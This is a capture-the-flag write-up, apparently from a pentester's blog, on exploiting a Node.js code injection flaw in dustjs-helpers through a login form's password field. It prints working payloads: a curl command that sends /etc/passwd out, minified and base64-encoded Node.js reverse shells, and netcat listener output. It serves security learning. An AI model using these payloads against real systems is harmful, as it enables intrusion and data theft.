Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017)

There was a challenge with Nodejs code injection during the BSides Raleigh CTF, and here is the write-up.

Nodejs Code Injection - Introduction

First, I apologize for not putting the period in Node.js, but it is messing with my URL structure and SEO plugin.

Gabe suggested this challenge to me as a fun one, and I believe that no one else was able to solve it.

Consultant's Page

One of the earlier challenges revolves around logging into the consultants page -

Nodejs Code Injection - Consultants Login

In this case, Gabe told me to take a further look into the page, to see if I could find anything.

First, I found a comment mentioning the eversec-website Github repository.

<a href=""><img src="/images/express.svg"></a>
Hiding until we can figure out how Github badges work 

From there, I started to peruse the repository ( to see if I could find anything interesting.

Finding the Vulnerability

First, I decided to try to fuzz the password box. While SQL Injection wasn't the correct path (it has been in the past though), I was able to eventually get an error page.

Nodejs Code Injection - Backslash Error

After a bit of searching around, I noticed that the app.js file was including the dustjs-helpers library.

Enter my super-pro Bing skills, and it looks like there might be some sort of vulnerability in this library.

Nodejs Code Injection - Search Results

Node.js Code Injection - Verifying the Vulnerability

Following the Paypal RCE write-up, I also attempted to send a password parameter as an Array instead of a string. Similar to the author, I received a syntax error, so I hoped that I was in business![]=&password[]=%27

Nodejs Code Injection - Password Attempt

Code Execution

First, I attempted a similar payload to the original author, to verify code execution.[]=x&password[]=y%27-require(%27child_process%27).exec(%27curl+-F+%22x=`cat+/etc/passwd`%22+

root@kali32:~# nc -lvvp 80
listening on [any] 80 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 48716: NO_DATA
User-Agent: curl/7.35.0
Accept: */*
Content-Length: 1121
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------ed3bb114db9fbf15

Content-Disposition: form-data; name="x"

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

With code execution successful, it was time to get a shell!

Reverse Shell Attempt #1

While it should have been possible to just execute a system command, I wanted to write my reverse shell in Nodejs as well!

First, I found a gist for a Nodejs reverse shell, that looked like it would solve my problem perfectly.

Next, I minimized the script down to one line, to keep things cleaner.

var spawn = require('child_process').spawn; var net = require('net'); var reconnect = require('reconnect'); reconnect(function (stream) { var ps = spawn('bash', [ '-i' ]); stream.pipe(ps.stdin); ps.stdout.pipe(stream, { end: false }); ps.stderr.pipe(stream, { end: false }); ps.on('exit', function () { stream.end() }); }).connect(8080, '');

Finally, I encoded the payload to prevent any special characters from breaking my request.[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIHNwYXduID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLnNwYXduOyB2YXIgbmV0ID0gcmVxdWlyZSgnbmV0Jyk7IHZhciByZWNvbm5lY3QgPSByZXF1aXJlKCdyZWNvbm5lY3QnKTsgcmVjb25uZWN0KGZ1bmN0aW9uIChzdHJlYW0pIHsgdmFyIHBzID0gc3Bhd24oJ2Jhc2gnLCBbICctaScgXSk7IHN0cmVhbS5waXBlKHBzLnN0ZGluKTsgcHMuc3Rkb3V0LnBpcGUoc3RyZWFtLCB7IGVuZDogZmFsc2UgfSk7IHBzLnN0ZGVyci5waXBlKHN0cmVhbSwgeyBlbmQ6IGZhbHNlIH0pOyBwcy5vbignZXhpdCcsIGZ1bmN0aW9uICgpIHsgc3RyZWFtLmVuZCgpIH0pOyB9KS5jb25uZWN0KDgwODAsICcxOTIuMTY4LjAuNzEnKTs=%22,%20%22base64%22).toString())-%27

Unfortunately, it looked like I was missing a required library for this particular payload.

Nodejs Code Injection - Reverse Shell #1

Reverse Shell Success

After a bit more searching, I found another possible reverse shell.

As before, I minimized (and then encoded) the payload. Note that this article is actually where I got the idea to eval the encoded strings.

var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8080, "", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});

This was the final payload -[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxOTIuMTY4LjAuNzEiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==%22,%20%22base64%22).toString())-%27.

With my netcat listener in place, I was able to get a reverse shell from this attack! I also grabbed the two flags that I could find.

root@kali32:~#  nc -lvvp 8080
listening on [any] 8080 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 48654: NO_DATA
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
C:\Tools\netcat-1.11>nc.exe -lvvp 8080
listening on [any] 8080 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 49106: NO_DATA
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
evrs@evrs-main:/apps/evrs-main-express$ cat lol.txt
cat lol.txt
evrs@evrs-main:/apps/evrs-main-express$ cat deareversec.txt
cat deareversec.txt

Nodejs Code Injection - Conclusion

While the write-up is a little late, I wanted to make sure that it could be used at a few other cons.

This was a really fun challenge, and I'm glad that I forced myself to only use Nodejs.

I've got one smaller write-up, and an even bigger one on the way!

Let me know if there are any other challenges that you'd like to see write-ups for as well.

doyler on Githubdoyler on Twitter
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.